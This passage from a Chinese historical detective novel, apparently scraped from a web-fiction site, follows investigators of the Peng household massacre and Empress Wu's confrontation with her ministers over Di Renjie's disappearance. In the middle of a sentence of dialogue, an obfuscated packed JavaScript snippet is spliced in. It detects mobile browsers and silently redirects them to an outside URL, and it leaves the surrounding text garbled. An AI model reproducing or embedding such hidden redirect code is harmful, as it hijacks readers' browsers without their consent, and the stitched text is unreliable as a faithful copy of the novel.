徐杰认为,不可能。因为狄仁杰,他其实是个很老实的人。虽然当上了宰相,但从不作威作福,滥用权力,甚至对比他地位低下许多的人,都客客气气的,不以高高在上的身份自居。这种人,除了断案听说厉害些,有什么特别?一点都不像英雄好汉的样子。 当然,就这一点来说,应该可以确定,他狄仁杰至少算是个好人,算是个……老实人吧。所以,徐杰也在路上怀疑,狄仁杰这种人,会去犯案吗?虽然凭韩忠义的武功,是绝对有能力将彭府灭门的,而且韩忠义曾经就是江湖中人,手段未必不残忍。但……狄仁杰呢?他也如此狠毒吗?他平时的善良,都是装出来的吗?他会在当上了宰相之后,还去卖国通敌吗?对他有什么好处呢? 徐杰思来想去,觉得真相只有一个…… 狄府到了。 徐杰领着十来人快步走去,“砰砰砰”敲了敲门。 没有人回应。 这狄府离彭府不远,但从外面看去,就觉得不够奢华。之所以说“不够”,是跟他狄仁杰宰相的身份相比,实在是差太远了。这哪里像是个宰相住的地方?明明就是中等有钱的小老百姓住的嘛! 徐杰又敲了敲门。 依然是没有人回应。 徐杰无法,只好令人撞门而入。 一入大厅,屋里静悄悄的,鸦雀无声,哪里有个人影? 徐杰一挥手,叫声“搜”,十来个禁军便翻箱倒柜地乱搜起来。 徐杰看着他们动手,自己却东走西逛。见宰相府竟如此朴素无华,装饰简陋,较己宅邸真乃天壤之别。 不一时,部下呈上一封信笺,说是案上发现的。 徐杰接来一看,其上写道:“徐主帅亲临敝府,狄某人寒舍添辉。狄某有失迎迓之礼,心中实感有愧,主帅宽宏大量,望恕诳驾之罪。主帅此来,非为彭府灭门一案乎?非疑此案与狄某有干系乎?非因吕队长之言乎?狄某料定,主帅此次前来,乃是小人从中挑拨之故,訾謷谤毁,在所难免。万望主帅勿要多心,狄某日后自将始末原委一一道来,好使知悉今日之万般无奈。请主帅将狄某以下之言转达天听:微臣狄仁杰现已奉圣上密诏,与护卫韩忠义、管家胡乐、亲信狄宁等人,一同出了神都,赶赴西部边陲。然臣所料之未及者,乃兵部尚书彭羽,于臣临走之际,突遭灭门之事。只因臣本待按照陛下所预先定好之时,即是日一早出发,却不曾想,彭尚书灭门一案,恰巧于臣临走前一夜发生。这岂非怪事乎?岂非太过凑巧耶?况臣此次出行,知情者除陛下以外无几,彭府一案之发生于此时,倘若并非巧合,则是有人刻意安排,臣恐其中含有阴谋,非专门针对微臣而已,亦有干系及于陛下,臣请陛下多加小心。以上只是微臣妄加揣测,圣上自有高于微臣之见解,恕臣多言。臣今去矣,望陛下珍重。臣惟朝乾夕惕,死而后已,但愿能稍尽绵薄之力,以不负圣上之隆恩洪德于万一。万望陛下贬黜小人,拔擢君子,褫夺恶人之官爵,重用善人以为政,远离奸佞,亲近忠良,毋信悦耳之邪语,勤听逆耳之忠言。惟愿陛下,以江山国事为重,以天下苍生为念,重振朝纲,以安黎庶,爱民如子,以安天下。如此,则社稷幸甚,百姓幸甚。臣自即日起,虽远离陛下左右,恐今生今世,再无相见之日,然此心之于陛下,日月可鉴,只此方寸,亦常伴陛下,不须臾离也。兹乃臣于临行之际,书就之言。恭呈圣览。至于臣之肺腑心意,则非言辞所能及也。微臣狄怀英稽颡百拜。” 徐杰读罢一惊,心想:“此人果真是料事如神!从信上的内容看来,他确乎已出了城,然又似乎是陛下她老人家所差遣的。言下之意,吕老弟倒是那挑拨离间的小人喽?孰是孰非,我何以晓得?”摇了摇头,叹了口气。 这时部下均来回说,并未发现有甚可疑之物。 徐杰遂携了信笺,命将各物原处摆好,与部下出了狄府。 9. 第九章 獬豸 大理寺。 这座位于洛阳城内专门负责审理重大刑事案件的办案机构,离城中民宅有一些距离,却又紧贴着街衢大道,四通八达,方便人马直通城中东南西北各大角落,迅速查案。而大理寺独立其间,雄踞神都地理位置的重要地带,一片高阁楼房耸峙林立,轩峻宏伟,颇具威严气派。 这时一骑快马正飞驰在街道之上,上面那人劲装疾服,腰悬佩剑,神色匆忙,正往大理寺方向飞奔而来。 “大理寺办案,闲杂人等闪开!” 街上行人纷纷避让,见人马穿过石板大街,转过一个弯,声音渐渐消失。 黄土地被昨晚的大雨淋湿了,遍地泥泞,到处都是黄泥。马蹄踏在黄泥之上,四溅起泥土和雨水,在清晨日光的照耀下,闪闪发亮。 人马飞奔入了大理寺区域的外围,马上人不停蹄地继续奔走,见前面不远处有守卫,便迅速地从怀里掏出一个赤金色镶边明晃晃的令牌,朝前面一伸手给他们看,见他们看见了,而且也认得自己,便又将令牌揣回怀中,见他们侧身放行,便飞奔了进去。穿过了几个院落,那人翻身下马,直入中堂。 中堂里有好几个房间,四面八方都是书架高阁,在透过宽大的窗牖照进来的晨曦中,就连空气里飘浮的灰尘都能看得一清二楚。整个中堂里的楠木器具在铺了一层阳光之后,都呈现出一种熠熠生辉、金光闪耀的美感。连桌案上凌乱的竹简卷轴都似乎在发着光,跟书架之间的万卷书籍交相辉映,连成一片。 那人飞奔进了其中一室,里面光线暗淡,没有窗户,四围都是书架,靠里边有个桌子,桌上仍点着烛火,空气有点憋闷,桌子后面站着两个人,正在低头看着桌上一个展开的卷轴。一见那人来了,也都迅速走到他面前,问他:“怎么样?” “查到了,”那人还有些气喘吁吁,看着二人说道,“死者姓王,附近的人都认识他,是个打更的,平时就是在那几条街的周围打更,已经打了三十多年了,今年六十七岁。死亡时间大约是在昨晚二更天左右,死亡方式跟彭府中的大多数家人和城门楼里的岗哨相同,都是被类似短刀的利器杀害,脖颈处有一道不浅也不深,半寸多一点的伤口,也是一刀致命。王老汉虽然被发现时是坐在一个窄小的巷子口,但那应该不是第一杀人现场,而是死后被摆放到那里的。真实的死亡地点应该是在彭府的四周,因为当时二更时分,雨声还比较细微,所以周围有认识王老汉的人,说躲在屋子里,有听到他的声音。后来没过多久,声音就没了,雨也越下越大,那个人只当王老汉已经走远了。应该就是那时候,王老汉被当街杀害,尸体被搬到了街的另一头,梆子却遗留在了作案现场,来不及处理。这就解释了更夫与梆子分离的场景。” “这么说,”那两个听的人,其中一个道,“彭府中人,城门楼上的岗哨,还有这个死去的老人,在差不多同一时间点,被同一伙人杀害。” “这之间有什么关联呢?”另一个道。 “这果然是有预谋的,否则大雨怎么会来的这么巧。” “大雨掩盖了斗杀的声响,这是算准了时间的。” “没错,基本可以断定,这个事件指向一个方向……” 这时,又一人跑了进来。 “寺丞、主簿,”这人道,“已经查问了彭府附近居民,他们都说,昨天夜里并没有听到彭府内有什么异常的动静,倒是第一场大雨结束后不久,第二场雨又落下的时候,听到彭府的外面有争吵之声,后来越来越大声,雨也越下越大,也就听不太见了。但也有人说,有一队人马在大雨之中经过了自己的房前,向远处飞驰而去,之后又有一队人马,人比之前要多一些,也往同一方向去了。” 这一开始就在这间昏暗的房间里听消息的两个人,一个是大理寺的寺丞,还有一个是主簿。分别是正六品和正七品的官职。 其中寺丞姓卜名裕,字怀才,年方二十岁,生有一双智慧的眼睛,似乎能洞察一切。他虽然才刚过弱冠之年,但却一直有着雄心壮志,想要查清每个案件背后的真相,还无辜者一个清白,让犯罪者遭到惩罚。但他渐渐地发现,这世上的是非黑白,没有自己想象的那么简单,或者说,这二者是时常混淆的,甚至是颠倒的。他不理解为什么,虽然凭他的聪明,应该是很容易就可以明白的,这世上的公平本就是不存在的,只是作为一个有良心的人,总是一厢情愿地相信,公平还是有的。他盼望着,这世上的公平得以实施。他要为此出一份力,哪怕很渺小,也要去做。 主簿姓屈名福,字退让,比卜裕大几岁,也是个聪明人。他们二人是好朋友,常年一起断案,互相帮助。但屈福这个人,更懂得审时度势,明哲保身。他不会在危害自己的利益,更不会在有生命危险的情况下,仍然坚持自己的想法。他会改变,改变言行,来保全自己。而且他不认为自己这么做就是个“坏人”,因为人不为自己着想是不正常的,所以他认为自己最多不过是个“凡人”,肯定是达不到“圣人”的标准,舍己为人。但至少,自己也绝不会去主动做个犯罪的恶人,甚至在力所能及的情况下,还要去多多做点善事,比如跟着自己的好朋友卜裕一起断案。 “如此看来,”寺丞卜裕听完那来人说的话,向屈福道。“昨天夜里一共有至少三路人马。第一路人马,肯定是杀手,分别在彭府、城门楼上犯案,又杀死了唯一可能成为目击证人的老更夫。这是在第一场大雨那一段时间里发生的,而且不可能超过,因为如果大雨停了,声音肯定会被周围的人听见,除非那时候,人已经都被杀害了。至于被杀的老更夫,死在二更天的小雨里是完全可能的,因为只有他一个人,又不像彭府有上百号人,容易在斗杀之时引起动静。早一些杀害目击证人,就可以更加放心地行动了。” “那你说还有两路人马,这怎么说?”屈福问。 “你想,”卜裕道,“第二场雨距离第一场雨,中间已经隔了一段时间,如果杀手,也就是我说的第一路人马,已经在第一场大雨结束之前完成了他们的行动,又怎么会在第二场雨落下的时候,依然现身于彭府,并且发出争吵之声,让周围的人听见呢?如果他们本就不想隐藏什么,又为何要利用第一场大雨作为掩饰呢?为什么又要杀害老更夫,这个可能成为目击证人的在场者呢?他们如果真要隐藏这次行动,那么行动过后是不可能再次回到作案现场的。只有一种解释,那就是相互争吵者,并非造成彭府灭门案者,而是另一路人马。而我由此推断,一路人马这时候没有理由大吵起来,哪怕是我此时此刻非常怀疑的巡逻队,他们之间,也没有因为发现彭府灭门而叫得大家都知道了的理由。除非,还有一路人马,跟这一路人马,互相起了冲突,所以才在彭府外面争吵了起来。这么一看,正好是三路人马。” “应该确实是如此。”屈福点头道。 “所以,”卜裕又说,“有人看到的在第二场大雨之中飞驰而过的人马,就是我说的后两路人马。一路人马,在追赶另一路人马。这是争吵之后的结果。而其中一路人马,应该便是吕队长带领的巡逻队。” “这么说,巡逻队是老更夫以外的,唯一的目击证人了?” “首先,老更夫不是目击证人,”卜裕道,“因为他还没有来得及去目击作案。其次,巡逻队看到的,肯定不是真凶。你想,我刚才说的是,凶手已经在第一场雨的时候杀完人了,那么第二场雨的时候,巡逻队又怎么可能目击到他们?所以,除非巡逻队半路在街上巡逻的时候,正好碰见了正在逃跑中的真凶,否则,他们还真就未必有看到作案的过程。” “那巡逻队有没有可能就是犯案者呢?” “还是不太可能。”卜裕道,“因为我刚才说了,真凶是想掩盖杀人之事的,又为何要再次回到作案现场?如果是巡逻队做的,他们更不应该吵闹起来,而且还是在彭府前。这对他们有什么好处?难道可以比躲得远远的更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051955|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能撇清他们的嫌疑吗?完全就是自投罗网。除非他们本来就不是凶手,所以也不怕被人误会,最多算个失职,没能阻止罪案的发生罢了。” “既这么说,”屈福道,“那跟巡逻队起冲突的,会是什么人呢?” “现在还不清楚,”卜裕说,“但有一点很奇怪。” “什么?” “为什么,”卜裕说,“这一路人马,也就是跟巡逻队起冲突的人马,在不是凶手的情况下,要出现在杀人现场呢?他们又不是巡逻队的人,为什么要把自己牵扯进来呢?如果是周边的居民,他们是来做什么的呢?难道是半夜三更来看热闹?听说彭府被灭门了,还来看热闹,有这种人吗?所以,我怀疑,第三路人马,跟彭府一案,至少有关联。” “他们是帮凶?” “就算不是帮凶,也绝对脱不了干系。”卜裕看了屈福一眼,“你说,会是什么人呢?” “不是帮凶,不是真凶,也不是居民,那会是……” “查案者。”卜裕道。 “查案?” “是的,”卜裕叹了口气,“跟我们一样。” “这……”屈福不太明白,“谁会半夜三更来查案呢?” “听说狄阁老的宅子,离彭府只有几条街的距离。”卜裕看着他说。 “你是说……是狄阁老?” 卜裕点了点头。 “第三路人马,是狄阁老?!”屈福惊问。 “很有可能。” “那狄阁老现在……”屈福又道。 “应该已经出城了。”卜裕说。 “怎么可能呢?” “你想,”卜裕说,“跟巡逻队发生了冲突,又被追赶,难道还会留在城中吗?” “为什么不会呢?他老人家可是宰相啊。” “刚才我不是说了,”卜裕说,“狄阁老到彭府的原因,是要去查案。那为什么查案者会跟巡逻队产生了冲突呢?只有一个原因,那就是巡逻队正好在彭府灭门案发生了之后赶了来,而狄阁老他们又正好在彭府查案已经结束了的时候出了去,两路人马正好遇上,于是吕队长和巡逻队便同时目睹了两件事情:彭府被灭门,狄阁老他们走了出来。我问你,如果你看到这么个场景,你会是什么感觉?” “我嘛……”屈福道,“我也会怀疑,是不是狄阁老他们干的……” “这就是了,”卜裕说,“吕队长他们当时就是这么个感觉,所以狄阁老作为来查案者,此时竟会因为出现在了杀人现场,而百口莫辩,因此双方才会起了冲突。” “你这么一说,我都明白了。”屈福道,“看来我们已经接近真相了。” 这时,突然传来了一个声音,卜裕和屈福二人都吃了一惊。 “真相,有什么用呢?”那个苍老的声音说道。 “阚老爷子!”二人齐声叫道。 那说话的,是在大理寺的院子里扫地的,一个名唤“阚戏”的老人。 他道:“你就算知道了真相,又能怎么样呢?” 卜裕激动地说:“我要找到真凶,将他绳之以法!” 阚戏放下扫帚,在院子里的台阶上缓缓坐了下来,仰天叹了口气,道:“你还是太年轻了。” 卜裕道:“我是年轻,可我心中有梦想。” 阚戏那苍老的脸上,没有任何表情,只说:“你将要知道,真相不重要。” “那什么重要?”卜裕问。 “上头的人,想要看到什么样的结果,这才最重要。”阚戏如是说。 卜裕是个聪明人,一听这话,都明白了。 阚戏忽然哈哈大笑,说道:“我说的虽然是现实,可年轻人哪,你心中的梦想,还是要去追求的。”说罢,拿起扫帚,又扫起地来,慢慢走开了。 卜裕望着院落里墙壁上画的、代表“公正”的獬豸,一面回想老人刚刚说的话,不由得感慨万千。 10. 第十章 制衡 卯正时分,文武百官陆续上朝,沿着丹墀而上,入了正殿,按品位列班丛,顿首山呼万岁毕,武皇一声“众卿平身”,方各自谢恩起立。 眼看众臣皆按部就班,唯狄仁杰一人缺席。众臣均感诧异,议论纷纷,徐杰却心知肚明。 武皇头戴十二冕旒冲霄平天冠,身着金丝盘螭广袖杏黄衮龙袍,腰系游蟒昆仑白玉带,神色肃穆,端坐于宝座之上。 这时,女官于天子侧忽朗声道:“有事出班早奏,无事卷……” 话还没说完,武皇便看了她一眼。 女官吓得连忙捂住嘴,只说了“无事卷”三个字,便不敢再说下去。 她是新来的,今天第一回正式参加朝堂会议,方才看到渊蜎蠖伏、殿宇华丽,尚且目不暇接,哪里还记得这两句“套路”也似的话,竟然只能说一半。 只因这另一半是“无事卷帘退朝”,乃历代昏君之专用语。用了这句话,岂不是说,皇上懒得过问什么天下大事,上朝只是敷衍搪塞而已,你们大臣们想奏就奏,朕也会勉强待着听听的,但要是没事就赶紧地散了,浪费朕的时间干什么?难道还要朕主动问你们吗?这个女官就听说,昏君特喜欢用这两句话,是因为它拥有同时作为开场白和结束语的这两个功用,所以说起来就又简捷又方便,自己只要走个过场,让太监每次上朝都重复这两句就行了,如果确实无人“有事”要奏,那么太监就大喊一声“退朝”,然后,就没有然后了。 这个女官虽然是新来的,但她也知道,武皇不是这样的“昏君”。她是会在大臣们都不说话的时候,主动过问天下大事的。所以,这两句话的那个后半段,不能说呀! 武皇也知道这个女官新来,让她来试一试,见她一见了自己的眼神,便不说了,也觉得还算聪明伶俐,至少知道要管住自己的嘴,不能口无遮拦,什么话都乱说。 正是:“伴君如伴虎。”女官又向后退了一步,不敢继续说了,其实也没什么好说的,等一会儿会议彻底结束了,再最后说一声“退朝”不迟。 武皇这时缓缓俯视着众臣,见他们手执笏板,各皆低头不语,金銮殿中一时鸦雀无闻。 “众位爱卿,”武皇见他们不说话,知道他们也不会去说,而且还深知其中缘由,于是先就打破了静谧,开口说道。“近来可有新闻?” 众臣一听,仍是一言不发,各怀惊惧,冷汗直流。而其中尤甚者,乃大理寺卿宇文豪,一面眨巴着眼,浑身上下到处乱颤。 这个宇文豪,听说,而且是听他宇文豪自己说的,乃前朝贵族宇文氏的后人,如今落魄到了只能做一个小小的正三品大理寺卿。他自然是不服气,但也没有办法。他虽然也有一点小聪明,但绝对算不上是什么才华横溢的天才,甚至只是一个非常平庸的人,就算他自己孤高自许、自命不凡,也改变不了他是靠着关系而非靠着真才实学上位的事实。 有一个缘故,那就是武皇有意想向天下人显示自己的包容心,所以就连前代之人,甚至是那些庸庸碌碌之辈,也都愿意给他们一个不差的官职,只要他们不是占据着朝中的大多数,就对自己不会有太大的妨碍。当然,有一个前提,那就是这种人不能是反叛自己的人。如果一个人敢于反叛自己,那么就算他拥有经天纬地之才,也一定要让他死无葬身之地。 所以,武皇不管这个人是不是只会溜须拍马、阿谀奉承自己而不实际做事,也不管这个人是不是尸位素餐、占着位置吃白饭,甚至,这个人有贪污受贿、徇私枉法等事,武皇也不会太在意。因为从大局看来,多一个“好人”并不能改变什么,多一个“坏人”也不会改变什么。能改变大局的,是无数个“好人”,还有无数个“坏人”。如果朝中都是“坏人”,那自然不行,可如果朝中都是“好人”呢?武皇知道,那更不行。 坏人多了,朝代就要灭亡了。好人多了,自己就要灭亡了。武皇不希望朝代灭亡,更不希望自己灭亡。因为如果自己灭亡了,大周这个朝代也要跟着灭亡了。 所以,朝中的“好人”还有“坏人”,应该一样多。什么时候“好人”多一个,“坏人”也要跟着多一个,反之亦然。不然,朝中的诸多势力就会失去平衡,自己凭一己之力便很难再去控制其中人多的一方,甚至反过来会被他们所控制。 武皇是不会让局面变成那样一种状态的,所以,她并不单单任人唯贤,也不会只是任人唯亲,因为亲跟疏之间,就差个“权利”二字。这她是有经历的。 因此,就连她的侄子武三思,她也防着。虽然封了他个“梁王”,但远远还没有到要立他为太子的地步。只因一旦占据了东宫,基本将来的皇位就是给他了。而武皇在犹豫,皇位到底要不要给他。 她知道,武三思觊觎皇位已久,所以一面拼命地奉承自己,又同时跟朝中那些不支持自己的人作对,正是“司马昭之心,路人皆知”,野心勃勃,早就溢于言表。许多大臣虽然都厌恶他飞扬跋扈,但毕竟他还是皇亲国戚,所以那些只想明哲保身的人,便也不敢去得罪他。 朝中还有一方势力,武皇也是深知的。那就是“身在曹营心在汉”,想要恢复李唐的人。其中以狄仁杰和张柬之两个当朝宰相为代表。 张柬之曾经得罪过武皇,按理说是不应该当上宰相的。然而狄仁杰当时身为宰相,却一直向武皇推荐他,所以几经波折,张柬之在武皇极其不乐意的情况下,最终还是当上了宰相。 但这段时间里,武皇的想法有点变了:她在犹豫到底立谁为太子好。其中侄子武三思跟儿子李显之间,她有点更想立儿子。但儿子毕竟姓李,立了儿子,等于丢弃了武家的江山,又再次恢复了唐朝。这是她一生的基业,她实在是舍不得。可如果立了武三思,她身后的千秋大名可就保不住了。何曾有侄儿纪念姑姑的?恐怕武三思他爹娘都要比自己亲。 李显如今是庐陵王,和家人都在房州。武皇却已经有打算把他们接回洛阳了。这时候,她就需要重用像张柬之这种曾经反对过自己、甚至现在依然在内心深处反对自己的、向着李唐的人,好取信于天下。 她不怕。她丝毫不怕这个七十二岁的老人张柬之能掀起什么大浪来。 但她怕一个人。 这个人就是狄仁杰。 狄仁杰才是她最佩服,最重用,却也是最忌惮,最害怕的人。 其实她的内心很矛盾,因为她如果真的忌惮狄仁杰,她完全可以不去重用他,但她偏要重用,而且本朝中她最重用的人,就是他狄仁杰,没有之一。 她到底看重狄仁杰到了一个什么程度?所有大小事都要跟狄仁杰去商量,就算不是公开的,也是私下的。而且每次办案,狄仁杰都被赐予便宜行事之权,可以先斩后奏,任意决断。 武皇完全信任他。 但很奇怪的是,武皇最不信任的人,也是他。 武皇心里想,如果真有人要造反,第一个就是他狄仁杰。 如果造反的人不是他狄仁杰,那么第一个来保护自己的人,就会是他狄仁杰。 在武皇看来,狄仁杰好像一把锋利的双刃剑,一面可以伤人,一面又会自伤。 这种人最危险,却又最有用。 狄仁杰对她似乎是完全忠诚的,但武皇却也知道,他狄仁杰的心里始终装有李唐,对李唐一样是忠贞不渝。 一个人怎么可能同时忠于两个截然不同的信仰呢?偏偏他狄仁杰就能,而且不是把自己的忠诚分成两半,两方面各有自己一半的忠诚,而是完完全全的,对于两方面,都是完整的忠诚。 狄仁杰的忠诚是矛盾的,但又是合理的。矛盾在于,忠诚本就只能是对于一个方面来说,如果对于另一方面也是如此,这就不能算作是真正的忠诚了。但是合理之处在于,这向着两方面进发的忠诚,却是各行其道,完全不冲突的。所以他既能完完全全忠于李唐,也能完完全全忠 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她已经得到了一切,但她得到的越多,那种可怕的孤独感,就更被无限地放大。 她害怕失去这一切,但同时,又觉得这一切好像对自己并不那么重要。 自己所追求的究竟是什么呢? 记得曾经有一天,刮着风,下着雨,武则天和狄仁杰两个人,坐在她偏殿一个光线暗淡的密室里。 武则天坐在靠里边的床沿,狄仁杰斜倚在靠着左边那扇窗的榻上,面向武则天,微微低着头。 小窗的外面是一块空地,还有一片宫殿。 窗外的雨水模糊了场景,天色很暗,密布着乌云,时不时传来隐隐的雷声。 那天不记得是早晨还是下午,反正不是晚上。 密室里很暗,但那不是夜间的雨,所以窗外依然透进一点光。 密室里,武则天和狄仁杰两个人,在一片阴影中,可以互相看得见。 那天很静谧,尤其是从密室里,听着窗外的落雨声,没有人打扰,更显得沉寂。 武则天看着面前的狄仁杰,似乎在一瞬间里忘记了他是当朝宰相,只觉得,他是个老人。而自己,身为一国君主,在此时此刻,也只是一个老人。 两个老人,穿着便服,面对面坐着,一言不发。 似乎在这种时候,没有什么话好说的。 或者说,一切话都是多余的。 此时此刻,二人不再是君臣,虽然礼仪仍在,却只是相互间的一种习惯,一种尊重,和一种掩饰。 突然,二人相顾一看,武则天先笑了起来,狄仁杰也跟着笑了。 “怀英。”武则天笑完了,说道。 “臣在。”狄仁杰道。 “有一段路,你愿意走吗?” “只要陛下愿意,”狄仁杰道,“臣就愿意。” “朕要你,去边关查个案,”武则天说道,“你愿意去吗?” 狄仁杰听了这话,就明白了。 “臣,愿意。”他说道。 “你可以拒绝,朕只是问问你的意见。这是朕的密室,你不要觉得,拒绝了朕,就是抗旨。” “臣,真心愿意。” “好。”武则天说,“那你大概要用,多长时间?” “一年。”狄仁杰毅然决然地答道。 那一天,武则天问了狄仁杰这个问题好多遍,是因为她希望,狄仁杰明白了她的意思以后,回答说自己不想去。 她如果听到了这个答案,也会答应的。 因为她虽然派遣狄仁杰去,却也不希望他去。 因为如果狄仁杰选择去了,他就再也回不来了。 狄仁杰知道。 他甚至还知道,如果自己选择不去,武则天也是会答应的。 但他依然选择要去。 为什么呢?或许连他自己也不清楚。 11. 第十一章 争辩 现在继续说回朝堂上发生的事。 那个大理寺卿宇文豪,从今日一早,彭府灭门案的头几个字方传入自己的耳中时,便已吓得魂不附体,于是连忙躲进了私第,装作得了病,一无所知,闭门谢客。 哪知官吏一层一层向上报案,最终重担还是落入了自己手中,心想在所难免矣! 只好派人去封锁了彭府作案现场,又命部下查看了一番,哪知竟无一点蛛丝马迹。更有甚者,彭府众多死亡家眷的遗体当中,竟然不见彭大人! 他想,倘或彭大人尸首亦在其中,日后只须随便找一帮替死鬼,指认其为凶手则已。可如今这么一来,皇上若命自己限期破案,且必须寻回彭大人,活要见人、死要见尸,那又当如何是好? 因此,只愿先瞒过了天子,再做定夺。 而今列在班中,只盼望陛下还未知晓此事,并且提及他事,转移话题,暂且避过近几日风头为要紧。况心里明知众臣亦不敢使得陛下知情,否则牵连众多,谁又有好果子吃? 果不其然,众臣心里皆如是想,因此谁也不敢多言。 正是那“枪打出头鸟”,哪一个“鸟”敢出头? 忽然,武皇的一阵笑声打破了寂静,唬得众臣头更低了。 武皇笑罢,又问道:“你们……怎么都不说话啊,嗯?” 班中一人方出口一句“陛下”,话音未了,武皇猛一拍案,“啪”的一声,龙颜大怒,众臣忙俯伏在地,齐声叫道:“陛下息怒!” 听武皇怒道:“尔等合起伙来瞒朕,要到几时?!” 众臣齐声大叫:“臣等不敢欺瞒陛下!” 武皇哼的一声,道:“彭尚书一事,你们难道各皆不知?还是说,朕一早听到的消息有误?” 徐杰紧闭双眼,汗如雨下,双手乱颤,明知瞒不住。天子脚下出了这等大事,天子又岂会不知?只盼望陛下不要提及自己…… 忽听得武皇厉声喝道:“徐杰!” 唬得他赶忙爬出班来,颤声道:“臣……臣在!” 武皇冷冷道:“你是京城御林军的头领,在你眼皮子底下,歹人竟然随意出入神都。你不但未能避免彭尚书一府灭门,还致使城门大开了一整夜。如今乃战时,敌国于朕大周境内处处安插密探奸细。倘若里应外合,人马一拥而入,恐朕人头,将高悬城门,尔等尚不知晓。” 众臣与徐杰皆魂飞天外,有一半人笏板失手落地,只好偷偷捡了起来,又继续掉。 徐杰高喊:“臣知罪!臣罪该万死!”一面磕头如捣蒜。 武皇道:“徐杰啊徐杰,汝欲效法贵同宗之壮举耶?” 徐杰诧异道:“臣……臣不明白陛下……” 武皇道:“尔不知?朕是说,逆贼徐敬业!” 徐杰一闻此言,倒吸一口气,大叫一声,几欲昏迷,望天喊道:“臣若有此意,教我千刀万剐,五马分尸,永世不得托生为人!求陛下明鉴!” 武皇哼的一声,道:“朕知道你不敢。说吧,夜间何人巡逻?” 徐杰半晌不言,微一抬头,见武皇兀自正眼望着自己,忙低下了头,说出了吕队长的姓名。 武皇又问这是谁的部属。 徐杰小声道:“是……臣……” 武皇道:“大声点,朕听不见!” 唬得徐杰忙大声回道:“是臣的部下!” 武皇“哦”的一声,冷笑道:“你的部属啊,好。徐杰啊,你可是大功臣啊。嗯?” 徐杰拭汗道:“谢陛下……臣不敢……” 武皇哈哈笑道:“嗯,这么看来,朕是在夸你啊。” 徐杰一想,大惊失色,叫道:“陛……陛下!臣知罪!臣……哎呀!”唬得当场大哭了起来。 众臣见徐杰这么个威风凛凛的壮汉竟然被吓得大哭,都不由得掩口忍俊。 大理寺卿宇文豪暗喜,以为自己已无事,痛快到几欲笑出声来。 忽听得武皇道:“宇文豪?” 唬得他几欲哭出声,连忙爬出班来,颤声道:“陛下,臣在……” 武皇和颜悦色地问他彭府案件查得如何。 宇文豪将眉一皱,心想:“查个什么查呀!这种案件怎么查呀?我从来就不管查案的,现在倒来问我。然当着陛下的面,胡诌也要说点啥,不能丢了脸面。”于是回道:“回陛下!依臣看,此案纯属意外……” 话未了,从最小品至最大品,众臣齐望向他。 宇文豪登时脸涨得通红,从脖颈赤到了耳根,心怦怦乱跳,心道:“狗攮的驴,诌过头了!哎呀,完蛋完蛋!一不做二不休,随意乱说何妨?” “臣一清早听到消息,”宇文豪信口开河、滔滔不绝地说道,“便即着人封锁彭府作案现场,未许外人入内破坏之。臣仔细一查,从彭府大门口起,有二人身穿盔甲者,定是守门护卫。二人因争吵起了矛盾,其中一人趁另外一人与府内人员谈话之际,拔出剑来,从后背将其刺穿杀害,又用了同一把剑杀死宅内家眷数人。其余则是家人内部互相残杀,彭大人护卫争权相杀,彭大人妻妾争宠相杀,小厮丫鬟恩怨相杀,婆婆媳妇儿相爱相杀,阿猫阿狗相亲相杀,还有……” 众臣正听得目瞪口呆,忽闻班中一人尖声叫道:“宇文寺卿!汝何乃要信口开河、胡言乱语耶哉?” 众臣一回头,见说话的乃刑部尚书名甄仑者。 这个甄仑又瘦又小,长着一撮山羊胡,面部凹陷,显得非常干瘪。他的年纪应该也不小了,至少有四五十岁了,但相貌比实际年龄还要更显老,似乎有快六十了,虽然须发都还是黑的,而且连一根也没白。他的声音尖尖的,非常刺耳,让那些耳朵没聋、必须要听到他说话的人感到非常不舒服,甚至恨不得立刻聋掉。 他曾经因为写的文章太过荒诞,而屡次科考落榜、名落孙山,于是心灰意冷,感叹自己宦途无望,只好在京城的私塾里,给那些启蒙的孩童讲课。但后来那些孩童的家长来抱怨说,这个甄学究,人长得猥琐也就算了,说话还总是文绉绉的,根本就不是人能听得懂的,不知道在干什么?更有甚者,那些家长说,自己的孩子本来好好的,“人之初,性本善”来着,后来“狗”一叫,突然就“性乃迁”了,变得神经兮兮的,精神错乱了起来。从此人话不会说了,只是满口“之乎者也”,跟他们的老师一样。 甄仑于是大怒,说一声“孺子不可教也,孺子之父母亦不可教也!”便拂袖而去。 后来他攻读古籍,变得愈发文绉绉,再也学不会说人话了,虽然他听得懂别人说的,但自己就是不会说,也不想去学,因为那是“俗人”的语言,跟自己这种“圣人”相比,简直是天差地别。 最后,他还是科举及第了,不知怎么一步步向上爬,当上了如今的“刑部尚书”。 却说此时诸人仍是跪的,一大半将头猛然一回,顿时扭伤,一阵阵“哎哟”叫痛之声回荡。 而扭伤者之一,便有被打断话头的宇文豪。 他一见是刑部甄仑,更是大怒。 原来二人平日里便因公事不和结了怨,彼此不服,明争暗斗,互相算计。 然此时毕竟于朝堂之上,宇文豪只得客客气气与他道:“甄大人何出此言?莫非下官说得不对?” 甄仑冷笑道:“明人前尚不言暗语,况于天子之前乎?寺卿既处众目睽睽之下,当以实言相告,焉能为一己之颜面,欺君耶哉?暂不论尔所言属实与否,仅以常理而论之,岂非谬哉?吾虽掌刑部,与汝大理寺外则有别,而内理相同,岂非皆为陛下乎?汝查则已,若未查而强言查者,又与奸邪何异耶?” 宇文豪冷笑道:“那我问你,你怎知我查与未查?到底是你查还是我查?今日一早我便遣人去彭府查……” 甄仑抢道:“吾不查,乃汝查也!吾不知汝查与未查,乃汝亲言之,与吾知否何干耶?汝与汝所遣之人外则相同,而内理有别,焉能相提并论耶?汝是汝,汝所遣之人则非汝!若此,无可厚非也!然适才汝言与陛下之语中有大谬!汝言汝亲查之,并附以‘细致’二字,岂非欺君耶哉?” 